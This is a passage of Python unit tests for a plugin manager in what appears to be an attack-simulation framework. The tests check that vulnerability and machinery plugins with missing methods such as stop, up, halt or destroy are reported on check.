self.assertRegex(c[0], "Method 'start' not implemented in missing_start in .*")
def test_basic_pluginmanager_check_vulnerability_plugin_missing_stop(self):
""" a vulnerability plugin with missing stop should throw an error on check"""
p = PluginManager(self.attack_logger, "tests/plugins/vulnerabilities/no_stop/*.py")
plugins = p.get_plugins(VulnerabilityPlugin)
c = p.check(plugins[0])
self.assertRegex(c[0], "Method 'stop' not implemented in missing_stop in .*")
def test_basic_pluginmanager_check_machinery_plugin_ok(self):
""" a machinery plugin ok on check"""
p = PluginManager(self.attack_logger, "tests/plugins/machinery/ok/*.py")
plugins = p.get_plugins(MachineryPlugin)
c = p.check(plugins[0])
self.assertEqual(len(c), 0)
def test_basic_pluginmanager_check_machinery_plugin_missing_up(self):
""" a machinery plugin with missing up should throw an error on check"""
p = PluginManager(self.attack_logger, "tests/plugins/machinery/no_up/*.py")
plugins = p.get_plugins(MachineryPlugin)
c = p.check(plugins[0])
self.assertRegex(c[0], "Method 'up' not implemented in machinery_no_up in .*")
def test_basic_pluginmanager_check_machinery_plugin_missing_state(self):
""" a machinery plugin with missing get_state should throw an error on check"""
p = PluginManager(self.attack_logger, "tests/plugins/machinery/no_state/*.py")
plugins = p.get_plugins(MachineryPlugin)
c = p.check(plugins[0])
self.assertRegex(c[0], "Method 'get_state' not implemented in machinery_no_state in .*")
def test_basic_pluginmanager_check_machinery_plugin_missing_ip(self):
""" a machinery plugin with missing get_ip should throw an error on check"""
p = PluginManager(self.attack_logger, "tests/plugins/machinery/no_ip/*.py")
plugins = p.get_plugins(MachineryPlugin)
# breakpoint()
c = p.check(plugins[0])
self.assertEqual(len(c), 1)
self.assertRegex(c[0], "Method 'get_ip' not implemented in machinery_no_ip in .*")
def test_basic_pluginmanager_check_machinery_plugin_missing_halt(self):
""" a machinery plugin with missing halt should throw an error on check"""
p = PluginManager(self.attack_logger, "tests/plugins/machinery/no_halt/*.py")
plugins = p.get_plugins(MachineryPlugin)
# breakpoint()
c = p.check(plugins[0])
self.assertEqual(len(c), 1)
self.assertRegex(c[0], "Method 'halt' not implemented in machinery_no_halt in .*")
def test_basic_pluginmanager_check_machinery_plugin_missing_destroyt(self):
""" a machinery plugin with missing destroy should throw an error on check"""
p = PluginManager(self.attack_logger, "tests/plugins/machinery/no_destroy/*.py")
plugins = p.get_plugins(MachineryPlugin)
# breakpoint()
c = p.check(plugins[0])
self.assertEqual(len(c), 1)
self.assertRegex(c[0], "Method 'destroy' not implemented in machinery_no_destroy in .*")
def test_basic_pluginmanager_check_machinery_plugin_missing_create(self):
""" a machinery plugin with missing create should throw an error on check"""
p = PluginManager(self.attack_logger, "tests/plugins/machinery/no_create/*.py")
plugins = p.get_plugins(MachineryPlugin)
# breakpoint()
c = p.check(plugins[0])
self.assertEqual(len(c), 1)
self.assertRegex(c[0], "Method 'create' not implemented in machinery_no_create in .*")
Loading…
Cancel
Save